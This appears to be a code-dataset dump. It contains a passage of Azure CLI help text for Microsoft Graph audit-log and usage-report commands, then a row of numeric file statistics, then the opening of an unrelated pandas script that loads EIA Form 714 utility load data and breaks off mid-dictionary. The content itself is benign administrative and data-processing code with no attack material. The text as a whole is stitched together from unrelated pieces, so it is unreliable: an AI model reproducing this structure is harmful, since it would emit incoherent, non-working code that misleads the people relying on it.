long-summary: |
Usage: --modified-properties display-name=XX new-value=XX old-value=XX
display-name: Indicates the property name of the target attribute that was changed.
new-value: Indicates the updated value for the propery.
old-value: Indicates the previous value (before the update) for the property.
Multiple actions can be specified by using more than one --modified-properties argument.
- name: --service-principal
short-summary: "provisioningServicePrincipal"
long-summary: |
Usage: --service-principal display-name=XX id=XX
display-name: The identity's display name. Note that this may not always be available or up to date. For \
example, if a user changes their display name, the API may show the new value in a future response, but the items \
associated with the user won't show up as having changed when using delta.
id: Unique identifier for the identity.
"""
helps['reports audit-log update-restricted-sign-in'] = """
type: command
short-summary: "Update the navigation property restrictedSignIns in auditLogs."
parameters:
- name: --applied-conditional-access-policies
long-summary: |
Usage: --applied-conditional-access-policies conditions-not-satisfied=XX conditions-satisfied=XX \
display-name=XX enforced-grant-controls=XX enforced-session-controls=XX id=XX result=XX
display-name: Refers to the Name of the conditional access policy (example: 'Require MFA for Salesforce').
enforced-grant-controls: Refers to the grant controls enforced by the conditional access policy (example: \
'Require multi-factor authentication').
enforced-session-controls: Refers to the session controls enforced by the conditional access policy \
(example: 'Require app enforced controls').
id: Unique GUID of the conditional access policy.
Multiple actions can be specified by using more than one --applied-conditional-access-policies argument.
- name: --authentication-details
long-summary: |
Usage: --authentication-details authentication-method=XX authentication-method-detail=XX \
authentication-step-date-time=XX authentication-step-requirement=XX authentication-step-result-detail=XX succeeded=XX
Multiple actions can be specified by using more than one --authentication-details argument.
- name: --authentication-processing-details
long-summary: |
Usage: --authentication-processing-details key=XX value=XX
key: Key for the key-value pair.
value: Value for the key-value pair.
Multiple actions can be specified by using more than one --authentication-processing-details argument.
- name: --authentication-requirement-policies
long-summary: |
Usage: --authentication-requirement-policies detail=XX requirement-provider=XX
Multiple actions can be specified by using more than one --authentication-requirement-policies argument.
- name: --device-detail
short-summary: "deviceDetail"
long-summary: |
Usage: --device-detail browser=XX browser-id=XX device-id=XX display-name=XX is-compliant=XX is-managed=XX \
operating-system=XX trust-type=XX
browser: Indicates the browser information of the used for signing in.
device-id: Refers to the UniqueID of the device used for signing in.
display-name: Refers to the name of the device used for signing in.
is-compliant: Indicates whether the device is compliant.
is-managed: Indicates whether the device is managed.
operating-system: Indicates the operating system name and version used for signing in.
trust-type: Provides information about whether the signed-in device is Workplace Joined, AzureAD Joined, \
Domain Joined.
- name: --mfa-detail
short-summary: "mfaDetail"
long-summary: |
Usage: --mfa-detail auth-detail=XX auth-method=XX
- name: --network-location-details
long-summary: |
Usage: --network-location-details network-names=XX network-type=XX
Multiple actions can be specified by using more than one --network-location-details argument.
- name: --status
short-summary: "signInStatus"
long-summary: |
Usage: --status additional-details=XX error-code=XX failure-reason=XX
additional-details: Provides additional details on the sign-in activity
error-code: Provides the 5-6digit error code that's generated during a sign-in failure. Check out the list \
of error codes and messages.
failure-reason: Provides the error message or the reason for failure for the corresponding sign-in \
activity. Check out the list of error codes and messages.
- name: --geo-coordinates
short-summary: "geoCoordinates"
long-summary: |
Usage: --geo-coordinates altitude=XX latitude=XX longitude=XX
altitude: Optional. The altitude (height), in feet, above sea level for the item. Read-only.
latitude: Optional. The latitude, in decimal, for the item. Read-only.
longitude: Optional. The longitude, in decimal, for the item. Read-only.
"""
helps['reports audit-log update-sign-in'] = """
type: command
short-summary: "Update the navigation property signIns in auditLogs."
parameters:
- name: --applied-conditional-access-policies
long-summary: |
Usage: --applied-conditional-access-policies conditions-not-satisfied=XX conditions-satisfied=XX \
display-name=XX enforced-grant-controls=XX enforced-session-controls=XX id=XX result=XX
display-name: Refers to the Name of the conditional access policy (example: 'Require MFA for Salesforce').
enforced-grant-controls: Refers to the grant controls enforced by the conditional access policy (example: \
'Require multi-factor authentication').
enforced-session-controls: Refers to the session controls enforced by the conditional access policy \
(example: 'Require app enforced controls').
id: Unique GUID of the conditional access policy.
Multiple actions can be specified by using more than one --applied-conditional-access-policies argument.
- name: --authentication-details
long-summary: |
Usage: --authentication-details authentication-method=XX authentication-method-detail=XX \
authentication-step-date-time=XX authentication-step-requirement=XX authentication-step-result-detail=XX succeeded=XX
Multiple actions can be specified by using more than one --authentication-details argument.
- name: --authentication-processing-details
long-summary: |
Usage: --authentication-processing-details key=XX value=XX
key: Key for the key-value pair.
value: Value for the key-value pair.
Multiple actions can be specified by using more than one --authentication-processing-details argument.
- name: --authentication-requirement-policies
long-summary: |
Usage: --authentication-requirement-policies detail=XX requirement-provider=XX
Multiple actions can be specified by using more than one --authentication-requirement-policies argument.
- name: --device-detail
short-summary: "deviceDetail"
long-summary: |
Usage: --device-detail browser=XX browser-id=XX device-id=XX display-name=XX is-compliant=XX is-managed=XX \
operating-system=XX trust-type=XX
browser: Indicates the browser information of the used for signing in.
device-id: Refers to the UniqueID of the device used for signing in.
display-name: Refers to the name of the device used for signing in.
is-compliant: Indicates whether the device is compliant.
is-managed: Indicates whether the device is managed.
operating-system: Indicates the operating system name and version used for signing in.
trust-type: Provides information about whether the signed-in device is Workplace Joined, AzureAD Joined, \
Domain Joined.
- name: --mfa-detail
short-summary: "mfaDetail"
long-summary: |
Usage: --mfa-detail auth-detail=XX auth-method=XX
- name: --network-location-details
long-summary: |
Usage: --network-location-details network-names=XX network-type=XX
Multiple actions can be specified by using more than one --network-location-details argument.
- name: --status
short-summary: "signInStatus"
long-summary: |
Usage: --status additional-details=XX error-code=XX failure-reason=XX
additional-details: Provides additional details on the sign-in activity
error-code: Provides the 5-6digit error code that's generated during a sign-in failure. Check out the list \
of error codes and messages.
failure-reason: Provides the error message or the reason for failure for the corresponding sign-in \
activity. Check out the list of error codes and messages.
- name: --geo-coordinates
short-summary: "geoCoordinates"
long-summary: |
Usage: --geo-coordinates altitude=XX latitude=XX longitude=XX
altitude: Optional. The altitude (height), in feet, above sea level for the item. Read-only.
latitude: Optional. The latitude, in decimal, for the item. Read-only.
longitude: Optional. The longitude, in decimal, for the item. Read-only.
"""
helps['reports report-root'] = """
type: group
short-summary: Manage report report root with reports_beta
"""
helps['reports report-root show-report-root'] = """
type: command
short-summary: "Get reports."
"""
helps['reports report-root update-report-root'] = """
type: command
short-summary: "Update reports."
parameters:
- name: --credential-user-registration-details
long-summary: |
Usage: --credential-user-registration-details auth-methods=XX is-capable=XX is-enabled=XX \
is-mfa-registered=XX is-registered=XX user-display-name=XX user-principal-name=XX id=XX
id: Read-only.
Multiple actions can be specified by using more than one --credential-user-registration-details argument.
- name: --user-credential-usage-details
long-summary: |
Usage: --user-credential-usage-details auth-method=XX event-date-time=XX failure-reason=XX feature=XX \
is-success=XX user-display-name=XX user-principal-name=XX id=XX
id: Read-only.
Multiple actions can be specified by using more than one --user-credential-usage-details argument.
- name: --daily-print-usage-summaries-by-printer
long-summary: |
Usage: --daily-print-usage-summaries-by-printer completed-black-and-white-job-count=XX \
completed-color-job-count=XX incomplete-job-count=XX printer-id=XX usage-date=XX id=XX
id: Read-only.
Multiple actions can be specified by using more than one --daily-print-usage-summaries-by-printer \
argument.
- name: --daily-print-usage-summaries-by-user
long-summary: |
Usage: --daily-print-usage-summaries-by-user completed-black-and-white-job-count=XX \
completed-color-job-count=XX incomplete-job-count=XX usage-date=XX user-principal-name=XX id=XX
id: Read-only.
Multiple actions can be specified by using more than one --daily-print-usage-summaries-by-user argument.
- name: --monthly-print-usage-summaries-by-printer
long-summary: |
Usage: --monthly-print-usage-summaries-by-printer completed-black-and-white-job-count=XX \
completed-color-job-count=XX incomplete-job-count=XX printer-id=XX usage-date=XX id=XX
id: Read-only.
Multiple actions can be specified by using more than one --monthly-print-usage-summaries-by-printer \
argument.
- name: --monthly-print-usage-summaries-by-user
long-summary: |
Usage: --monthly-print-usage-summaries-by-user completed-black-and-white-job-count=XX \
completed-color-job-count=XX incomplete-job-count=XX usage-date=XX user-principal-name=XX id=XX
id: Read-only.
Multiple actions can be specified by using more than one --monthly-print-usage-summaries-by-user argument.
"""
helps['reports report'] = """
type: group
short-summary: Manage report with reports_beta
"""
helps['reports report create-application-sign-in-detailed-summary'] = """
type: command
short-summary: "Create new navigation property to applicationSignInDetailedSummary for reports."
parameters:
- name: --status
short-summary: "signInStatus"
long-summary: |
Usage: --status additional-details=XX error-code=XX failure-reason=XX
additional-details: Provides additional details on the sign-in activity
error-code: Provides the 5-6digit error code that's generated during a sign-in failure. Check out the list \
of error codes and messages.
failure-reason: Provides the error message or the reason for failure for the corresponding sign-in \
activity. Check out the list of error codes and messages.
"""
helps['reports report create-credential-user-registration-detail'] = """
type: command
short-summary: "Create new navigation property to credentialUserRegistrationDetails for reports."
"""
helps['reports report create-daily-print-usage-summary-by-printer'] = """
type: command
short-summary: "Create new navigation property to dailyPrintUsageSummariesByPrinter for reports."
"""
helps['reports report create-daily-print-usage-summary-by-user'] = """
type: command
short-summary: "Create new navigation property to dailyPrintUsageSummariesByUser for reports."
"""
helps['reports report create-monthly-print-usage-summary-by-printer'] = """
type: command
short-summary: "Create new navigation property to monthlyPrintUsageSummariesByPrinter for reports."
"""
helps['reports report create-monthly-print-usage-summary-by-user'] = """
type: command
short-summary: "Create new navigation property to monthlyPrintUsageSummariesByUser for reports."
"""
helps['reports report create-user-credential-usage-detail'] = """
type: command
short-summary: "Create new navigation property to userCredentialUsageDetails for reports."
"""
helps['reports report delete-application-sign-in-detailed-summary'] = """
type: command
short-summary: "Delete navigation property applicationSignInDetailedSummary for reports."
"""
helps['reports report delete-credential-user-registration-detail'] = """
type: command
short-summary: "Delete navigation property credentialUserRegistrationDetails for reports."
"""
helps['reports report delete-daily-print-usage-summary'] = """
type: command
short-summary: "Delete navigation property dailyPrintUsageSummariesByPrinter for reports And Delete navigation \
property dailyPrintUsageSummariesByUser for reports."
"""
helps['reports report delete-monthly-print-usage-summary'] = """
type: command
short-summary: "Delete navigation property monthlyPrintUsageSummariesByPrinter for reports And Delete navigation \
property monthlyPrintUsageSummariesByUser for reports."
"""
helps['reports report delete-user-credential-usage-detail'] = """
type: command
short-summary: "Delete navigation property userCredentialUsageDetails for reports."
"""
helps['reports report device-configuration-device-activity'] = """
type: command
short-summary: "Invoke function deviceConfigurationDeviceActivity."
"""
helps['reports report device-configuration-user-activity'] = """
type: command
short-summary: "Invoke function deviceConfigurationUserActivity."
"""
helps['reports report list-application-sign-in-detailed-summary'] = """
type: command
short-summary: "Get applicationSignInDetailedSummary from reports."
"""
helps['reports report list-credential-user-registration-detail'] = """
type: command
short-summary: "Get credentialUserRegistrationDetails from reports."
"""
helps['reports report list-daily-print-usage-summary'] = """
type: command
short-summary: "Get dailyPrintUsageSummariesByPrinter from reports And Get dailyPrintUsageSummariesByUser from \
reports."
"""
helps['reports report list-monthly-print-usage-summary'] = """
type: command
short-summary: "Get monthlyPrintUsageSummariesByPrinter from reports And Get monthlyPrintUsageSummariesByUser from \
reports."
"""
helps['reports report list-user-credential-usage-detail'] = """
type: command
short-summary: "Get userCredentialUsageDetails from reports."
"""
helps['reports report managed-device-enrollment-abandonment-detail'] = """
type: command
short-summary: "Invoke function managedDeviceEnrollmentAbandonmentDetails."
"""
helps['reports report managed-device-enrollment-abandonment-summary'] = """
type: command
short-summary: "Invoke function managedDeviceEnrollmentAbandonmentSummary."
"""
helps['reports report managed-device-enrollment-failure-details027-e'] = """
type: command
short-summary: "Invoke function managedDeviceEnrollmentFailureDetails."
"""
helps['reports report managed-device-enrollment-failure-details2-b3-d'] = """
type: command
short-summary: "Invoke function managedDeviceEnrollmentFailureDetails."
"""
helps['reports report managed-device-enrollment-failure-trend'] = """
type: command
short-summary: "Invoke function managedDeviceEnrollmentFailureTrends."
"""
helps['reports report managed-device-enrollment-top-failure-afd1'] = """
type: command
short-summary: "Invoke function managedDeviceEnrollmentTopFailures."
"""
helps['reports report managed-device-enrollment-top-failures4669'] = """
type: command
short-summary: "Invoke function managedDeviceEnrollmentTopFailures."
"""
helps['reports report show-application-sign-in-detailed-summary'] = """
type: command
short-summary: "Get applicationSignInDetailedSummary from reports."
"""
helps['reports report show-azure-ad-application-sign-in-summary'] = """
type: command
short-summary: "Invoke function getAzureADApplicationSignInSummary."
"""
helps['reports report show-azure-ad-feature-usage'] = """
type: command
short-summary: "Invoke function getAzureADFeatureUsage."
"""
helps['reports report show-azure-ad-license-usage'] = """
type: command
short-summary: "Invoke function getAzureADLicenseUsage."
"""
helps['reports report show-azure-ad-user-feature-usage'] = """
type: command
short-summary: "Invoke function getAzureADUserFeatureUsage."
"""
helps['reports report show-credential-usage-summary'] = """
type: command
short-summary: "Invoke function getCredentialUsageSummary."
"""
helps['reports report show-credential-user-registration-count'] = """
type: command
short-summary: "Invoke function getCredentialUserRegistrationCount."
"""
helps['reports report show-credential-user-registration-detail'] = """
type: command
short-summary: "Get credentialUserRegistrationDetails from reports."
"""
helps['reports report show-daily-print-usage-summary'] = """
type: command
short-summary: "Get dailyPrintUsageSummariesByPrinter from reports And Get dailyPrintUsageSummariesByUser from \
reports."
"""
helps['reports report show-email-activity-count'] = """
type: command
short-summary: "Invoke function getEmailActivityCounts."
"""
helps['reports report show-email-activity-user-count'] = """
type: command
short-summary: "Invoke function getEmailActivityUserCounts."
"""
helps['reports report show-email-activity-user-detail-ddb2'] = """
type: command
short-summary: "Invoke function getEmailActivityUserDetail."
"""
helps['reports report show-email-activity-user-detail-fe32'] = """
type: command
short-summary: "Invoke function getEmailActivityUserDetail."
"""
helps['reports report show-email-app-usage-app-user-count'] = """
type: command
short-summary: "Invoke function getEmailAppUsageAppsUserCounts."
"""
helps['reports report show-email-app-usage-user-count'] = """
type: command
short-summary: "Invoke function getEmailAppUsageUserCounts."
"""
helps['reports report show-email-app-usage-user-detail546-b'] = """
type: command
short-summary: "Invoke function getEmailAppUsageUserDetail."
"""
helps['reports report show-email-app-usage-user-detail62-ec'] = """
type: command
short-summary: "Invoke function getEmailAppUsageUserDetail."
"""
helps['reports report show-email-app-usage-version-user-count'] = """
type: command
short-summary: "Invoke function getEmailAppUsageVersionsUserCounts."
"""
helps['reports report show-m365-app-platform-user-count'] = """
type: command
short-summary: "Invoke function getM365AppPlatformUserCounts."
"""
helps['reports report show-m365-app-user-count'] = """
type: command
short-summary: "Invoke function getM365AppUserCounts."
"""
helps['reports report show-m365-app-user-detail-c8-df'] = """
type: command
short-summary: "Invoke function getM365AppUserDetail."
"""
helps['reports report show-m365-app-user-detail2-b20'] = """
type: command
short-summary: "Invoke function getM365AppUserDetail."
"""
helps['reports report show-mailbox-usage-detail'] = """
type: command
short-summary: "Invoke function getMailboxUsageDetail."
"""
helps['reports report show-mailbox-usage-mailbox-count'] = """
type: command
short-summary: "Invoke function getMailboxUsageMailboxCounts."
"""
helps['reports report show-mailbox-usage-quota-status-mailbox-count'] = """
type: command
short-summary: "Invoke function getMailboxUsageQuotaStatusMailboxCounts."
"""
helps['reports report show-mailbox-usage-storage'] = """
type: command
short-summary: "Invoke function getMailboxUsageStorage."
"""
helps['reports report show-monthly-print-usage-summary'] = """
type: command
short-summary: "Get monthlyPrintUsageSummariesByPrinter from reports And Get monthlyPrintUsageSummariesByUser from \
reports."
"""
helps['reports report show-office365-activation-count'] = """
type: command
short-summary: "Invoke function getOffice365ActivationCounts."
"""
helps['reports report show-office365-activation-user-count'] = """
type: command
short-summary: "Invoke function getOffice365ActivationsUserCounts."
"""
helps['reports report show-office365-activation-user-detail'] = """
type: command
short-summary: "Invoke function getOffice365ActivationsUserDetail."
"""
helps['reports report show-office365-active-user-count'] = """
type: command
short-summary: "Invoke function getOffice365ActiveUserCounts."
"""
helps['reports report show-office365-active-user-detail-d389'] = """
type: command
short-summary: "Invoke function getOffice365ActiveUserDetail."
"""
helps['reports report show-office365-active-user-detail68-ad'] = """
type: command
short-summary: "Invoke function getOffice365ActiveUserDetail."
"""
helps['reports report show-office365-group-activity-count'] = """
type: command
short-summary: "Invoke function getOffice365GroupsActivityCounts."
"""
helps['reports report show-office365-group-activity-detail38-f6'] = """
type: command
short-summary: "Invoke function getOffice365GroupsActivityDetail."
"""
helps['reports report show-office365-group-activity-detail81-cc'] = """
type: command
short-summary: "Invoke function getOffice365GroupsActivityDetail."
"""
helps['reports report show-office365-group-activity-file-count'] = """
type: command
short-summary: "Invoke function getOffice365GroupsActivityFileCounts."
"""
helps['reports report show-office365-group-activity-group-count'] = """
type: command
short-summary: "Invoke function getOffice365GroupsActivityGroupCounts."
"""
helps['reports report show-office365-group-activity-storage'] = """
type: command
short-summary: "Invoke function getOffice365GroupsActivityStorage."
"""
helps['reports report show-office365-service-user-count'] = """
type: command
short-summary: "Invoke function getOffice365ServicesUserCounts."
"""
helps['reports report show-one-drive-activity-file-count'] = """
type: command
short-summary: "Invoke function getOneDriveActivityFileCounts."
"""
helps['reports report show-one-drive-activity-user-count'] = """
type: command
short-summary: "Invoke function getOneDriveActivityUserCounts."
"""
helps['reports report show-one-drive-activity-user-detail-c424'] = """
type: command
short-summary: "Invoke function getOneDriveActivityUserDetail."
"""
helps['reports report show-one-drive-activity-user-detail05-f1'] = """
type: command
short-summary: "Invoke function getOneDriveActivityUserDetail."
"""
helps['reports report show-one-drive-usage-account-count'] = """
type: command
short-summary: "Invoke function getOneDriveUsageAccountCounts."
"""
helps['reports report show-one-drive-usage-account-detail-dd7-f'] = """
type: command
short-summary: "Invoke function getOneDriveUsageAccountDetail."
"""
helps['reports report show-one-drive-usage-account-detail-e827'] = """
type: command
short-summary: "Invoke function getOneDriveUsageAccountDetail."
"""
helps['reports report show-one-drive-usage-file-count'] = """
type: command
short-summary: "Invoke function getOneDriveUsageFileCounts."
"""
helps['reports report show-one-drive-usage-storage'] = """
type: command
short-summary: "Invoke function getOneDriveUsageStorage."
"""
helps['reports report show-relying-party-detailed-summary'] = """
type: command
short-summary: "Invoke function getRelyingPartyDetailedSummary."
"""
helps['reports report show-share-point-activity-file-count'] = """
type: command
short-summary: "Invoke function getSharePointActivityFileCounts."
"""
helps['reports report show-share-point-activity-page'] = """
type: command
short-summary: "Invoke function getSharePointActivityPages."
"""
helps['reports report show-share-point-activity-user-count'] = """
type: command
short-summary: "Invoke function getSharePointActivityUserCounts."
"""
helps['reports report show-share-point-activity-user-detail-b778'] = """
type: command
short-summary: "Invoke function getSharePointActivityUserDetail."
"""
helps['reports report show-share-point-activity-user-detail-f3-be'] = """
type: command
short-summary: "Invoke function getSharePointActivityUserDetail."
"""
helps['reports report show-share-point-site-usage-detail-d27-a'] = """
type: command
short-summary: "Invoke function getSharePointSiteUsageDetail."
"""
helps['reports report show-share-point-site-usage-detail204-b'] = """
type: command
short-summary: "Invoke function getSharePointSiteUsageDetail."
"""
helps['reports report show-share-point-site-usage-file-count'] = """
type: command
short-summary: "Invoke function getSharePointSiteUsageFileCounts."
"""
helps['reports report show-share-point-site-usage-page'] = """
type: command
short-summary: "Invoke function getSharePointSiteUsagePages."
"""
helps['reports report show-share-point-site-usage-site-count'] = """
type: command
short-summary: "Invoke function getSharePointSiteUsageSiteCounts."
"""
helps['reports report show-share-point-site-usage-storage'] = """
type: command
short-summary: "Invoke function getSharePointSiteUsageStorage."
"""
helps['reports report show-skype-for-business-activity-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessActivityCounts."
"""
helps['reports report show-skype-for-business-activity-user-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessActivityUserCounts."
"""
helps['reports report show-skype-for-business-activity-user-detail-e4-c9'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessActivityUserDetail."
"""
helps['reports report show-skype-for-business-activity-user-detail744-e'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessActivityUserDetail."
"""
helps['reports report show-skype-for-business-device-usage-distribution-user-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessDeviceUsageDistributionUserCounts."
"""
helps['reports report show-skype-for-business-device-usage-user-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessDeviceUsageUserCounts."
"""
helps['reports report show-skype-for-business-device-usage-user-detail-a692'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessDeviceUsageUserDetail."
"""
helps['reports report show-skype-for-business-device-usage-user-detail-e753'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessDeviceUsageUserDetail."
"""
helps['reports report show-skype-for-business-organizer-activity-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessOrganizerActivityCounts."
"""
helps['reports report show-skype-for-business-organizer-activity-minute-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessOrganizerActivityMinuteCounts."
"""
helps['reports report show-skype-for-business-organizer-activity-user-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessOrganizerActivityUserCounts."
"""
helps['reports report show-skype-for-business-participant-activity-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessParticipantActivityCounts."
"""
helps['reports report show-skype-for-business-participant-activity-minute-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessParticipantActivityMinuteCounts."
"""
helps['reports report show-skype-for-business-participant-activity-user-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessParticipantActivityUserCounts."
"""
helps['reports report show-skype-for-business-peer-to-peer-activity-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessPeerToPeerActivityCounts."
"""
helps['reports report show-skype-for-business-peer-to-peer-activity-minute-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessPeerToPeerActivityMinuteCounts."
"""
helps['reports report show-skype-for-business-peer-to-peer-activity-user-count'] = """
type: command
short-summary: "Invoke function getSkypeForBusinessPeerToPeerActivityUserCounts."
"""
helps['reports report show-team-device-usage-distribution-user-count'] = """
type: command
short-summary: "Invoke function getTeamsDeviceUsageDistributionUserCounts."
"""
helps['reports report show-team-device-usage-user-count'] = """
type: command
short-summary: "Invoke function getTeamsDeviceUsageUserCounts."
"""
helps['reports report show-team-device-usage-user-detail7148'] = """
type: command
short-summary: "Invoke function getTeamsDeviceUsageUserDetail."
"""
helps['reports report show-team-device-usage-user-detail7565'] = """
type: command
short-summary: "Invoke function getTeamsDeviceUsageUserDetail."
"""
helps['reports report show-team-user-activity-count'] = """
type: command
short-summary: "Invoke function getTeamsUserActivityCounts."
"""
helps['reports report show-team-user-activity-user-count'] = """
type: command
short-summary: "Invoke function getTeamsUserActivityUserCounts."
"""
helps['reports report show-team-user-activity-user-detail-a3-f1'] = """
type: command
short-summary: "Invoke function getTeamsUserActivityUserDetail."
"""
helps['reports report show-team-user-activity-user-detail-eb13'] = """
type: command
short-summary: "Invoke function getTeamsUserActivityUserDetail."
"""
helps['reports report show-tenant-secure-score'] = """
type: command
short-summary: "Invoke function getTenantSecureScores."
"""
helps['reports report show-user-credential-usage-detail'] = """
type: command
short-summary: "Get userCredentialUsageDetails from reports."
"""
helps['reports report show-yammer-activity-count'] = """
type: command
short-summary: "Invoke function getYammerActivityCounts."
"""
helps['reports report show-yammer-activity-user-count'] = """
type: command
short-summary: "Invoke function getYammerActivityUserCounts."
"""
helps['reports report show-yammer-activity-user-detail-ac30'] = """
type: command
short-summary: "Invoke function getYammerActivityUserDetail."
"""
helps['reports report show-yammer-activity-user-detail15-a5'] = """
type: command
short-summary: "Invoke function getYammerActivityUserDetail."
"""
helps['reports report show-yammer-device-usage-distribution-user-count'] = """
type: command
short-summary: "Invoke function getYammerDeviceUsageDistributionUserCounts."
"""
helps['reports report show-yammer-device-usage-user-count'] = """
type: command
short-summary: "Invoke function getYammerDeviceUsageUserCounts."
"""
helps['reports report show-yammer-device-usage-user-detail-cfad'] = """
type: command
short-summary: "Invoke function getYammerDeviceUsageUserDetail."
"""
helps['reports report show-yammer-device-usage-user-detail-d0-ac'] = """
type: command
short-summary: "Invoke function getYammerDeviceUsageUserDetail."
"""
helps['reports report show-yammer-group-activity-count'] = """
type: command
short-summary: "Invoke function getYammerGroupsActivityCounts."
"""
helps['reports report show-yammer-group-activity-detail-da9-a'] = """
type: command
short-summary: "Invoke function getYammerGroupsActivityDetail."
"""
helps['reports report show-yammer-group-activity-detail0-d7-d'] = """
type: command
short-summary: "Invoke function getYammerGroupsActivityDetail."
"""
helps['reports report show-yammer-group-activity-group-count'] = """
type: command
short-summary: "Invoke function getYammerGroupsActivityGroupCounts."
"""
helps['reports report update-application-sign-in-detailed-summary'] = """
type: command
short-summary: "Update the navigation property applicationSignInDetailedSummary in reports."
parameters:
- name: --status
short-summary: "signInStatus"
long-summary: |
Usage: --status additional-details=XX error-code=XX failure-reason=XX
additional-details: Provides additional details on the sign-in activity
error-code: Provides the 5-6digit error code that's generated during a sign-in failure. Check out the list \
of error codes and messages.
failure-reason: Provides the error message or the reason for failure for the corresponding sign-in \
activity. Check out the list of error codes and messages.
"""
helps['reports report update-credential-user-registration-detail'] = """
type: command
short-summary: "Update the navigation property credentialUserRegistrationDetails in reports."
"""
helps['reports report update-daily-print-usage-summary-by-printer'] = """
type: command
short-summary: "Update the navigation property dailyPrintUsageSummariesByPrinter in reports."
"""
helps['reports report update-daily-print-usage-summary-by-user'] = """
type: command
short-summary: "Update the navigation property dailyPrintUsageSummariesByUser in reports."
"""
helps['reports report update-monthly-print-usage-summary-by-printer'] = """
type: command
short-summary: "Update the navigation property monthlyPrintUsageSummariesByPrinter in reports."
"""
helps['reports report update-monthly-print-usage-summary-by-user'] = """
type: command
short-summary: "Update the navigation property monthlyPrintUsageSummariesByUser in reports."
"""
helps['reports report update-user-credential-usage-detail'] = """
type: command
short-summary: "Update the navigation property userCredentialUsageDetails in reports."
"""
| 42.858131 | 121 | 0.692152 | 7,122 | 61,930 | 6.017832 | 0.07203 | 0.055718 | 0.060477 | 0.086936 | 0.862549 | 0.857976 | 0.825801 | 0.770737 | 0.719032 | 0.652325 | 0 | 0.004449 | 0.205232 | 61,930 | 1,444 | 122 | 42.887812 | 0.866315 | 0.007589 | 0 | 0.707442 | 0 | 0.076989 | 0.943555 | 0.268828 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.000855 | 0 | 0.000855 | 0.023952 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
8878ea06ed16bfc83674cc952a9a3d0d1d2ecfa0 | 198,392 | py | Python | temporary/ferc_util_prep.py | mdbartos/RIPS | ab654138ccdcd8cb7c4ab53092132e0156812e95 | [
"MIT"
] | 1 | 2021-04-02T03:05:55.000Z | 2021-04-02T03:05:55.000Z | temporary/ferc_util_prep.py | mdbartos/RIPS | ab654138ccdcd8cb7c4ab53092132e0156812e95 | [
"MIT"
] | 2 | 2015-05-13T23:35:43.000Z | 2015-05-22T00:51:23.000Z | temporary/ferc_util_prep.py | mdbartos/RIPS | ab654138ccdcd8cb7c4ab53092132e0156812e95 | [
"MIT"
] | 2 | 2015-05-13T23:29:03.000Z | 2015-05-21T22:50:15.000Z | import numpy as np
import pandas as pd
import os
import datetime
homedir = os.path.expanduser('~')
datadir = 'github/RIPS_kircheis/data/eia_form_714/processed/'
fulldir = homedir + '/' + datadir
# li = []
# for d1 in os.listdir('.'):
# for fn in os.listdir('./%s' % d1):
# li.append(fn)
# dir_u = pd.Series(li).str[:-2].order().unique()
###### NPCC
# BECO: 54913 <- 1998
# BHE: 1179
# CELC: 1523 <- 2886
# CHGE: 3249
# CMP: 3266
# COED: 4226
# COEL: 4089 -> IGNORE
# CVPS: 3292
# EUA: 5618
# GMP: 7601
# ISONY: 13501
# LILC: 11171 <- 11172
# MMWE: 11806
# NEES: 13433
# NEPOOL: 13435
# NMPC: 13573
# NU: 13556
# NYPA: 15296
# NYPP: 13501
# NYS: 13511
# OR: 14154
# RGE: 16183
# UI: 19497
npcc = {
54913 : {
1993 : pd.read_fwf('%s/npcc/1993/BECO93' % (fulldir), header=None, skipfooter=1).loc[:, 2:].values.ravel(),
1994 : pd.read_csv('%s/npcc/1994/BECO94' % (fulldir), sep =' ', skipinitialspace=True, header=None, skipfooter=1)[4].values,
1995 : pd.read_csv('%s/npcc/1995/BECO95' % (fulldir), sep =' ', skipinitialspace=True, header=None)[4].values,
1996 : pd.read_csv('%s/npcc/1996/BECO96' % (fulldir), sep =' ', skipinitialspace=True, header=None)[4].values,
1997 : pd.read_csv('%s/npcc/1997/BECO97' % (fulldir), sep =' ', skipinitialspace=True, header=None, skipfooter=1)[4].values,
1998 : pd.read_csv('%s/npcc/1998/BECO98' % (fulldir), sep =' ', skipinitialspace=True, header=None)[4].values,
1999 : pd.read_csv('%s/npcc/1999/BECO99' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values,
2000 : pd.read_csv('%s/npcc/2000/BECO00' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values,
2001 : pd.read_csv('%s/npcc/2001/BECO01' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values,
2002 : pd.read_csv('%s/npcc/2002/BECO02' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values,
2003 : pd.read_csv('%s/npcc/2003/BECO03' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values,
2004 : pd.read_csv('%s/npcc/2004/BECO04' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values
},
1179 : {
1993 : pd.read_csv('%s/npcc/1993/BHE93' % (fulldir), sep=' ', skiprows=2, skipinitialspace=True).loc[:, '0000':].values.ravel(),
1994 : pd.read_csv('%s/npcc/1994/BHE94' % (fulldir)).dropna(how='all').loc[:729, '1/13':'12/24'].values.ravel(),
1995 : (pd.read_fwf('%s/npcc/1995/BHE95' % (fulldir)).loc[:729, '1/13':'1224'].astype(float)/10).values.ravel(),
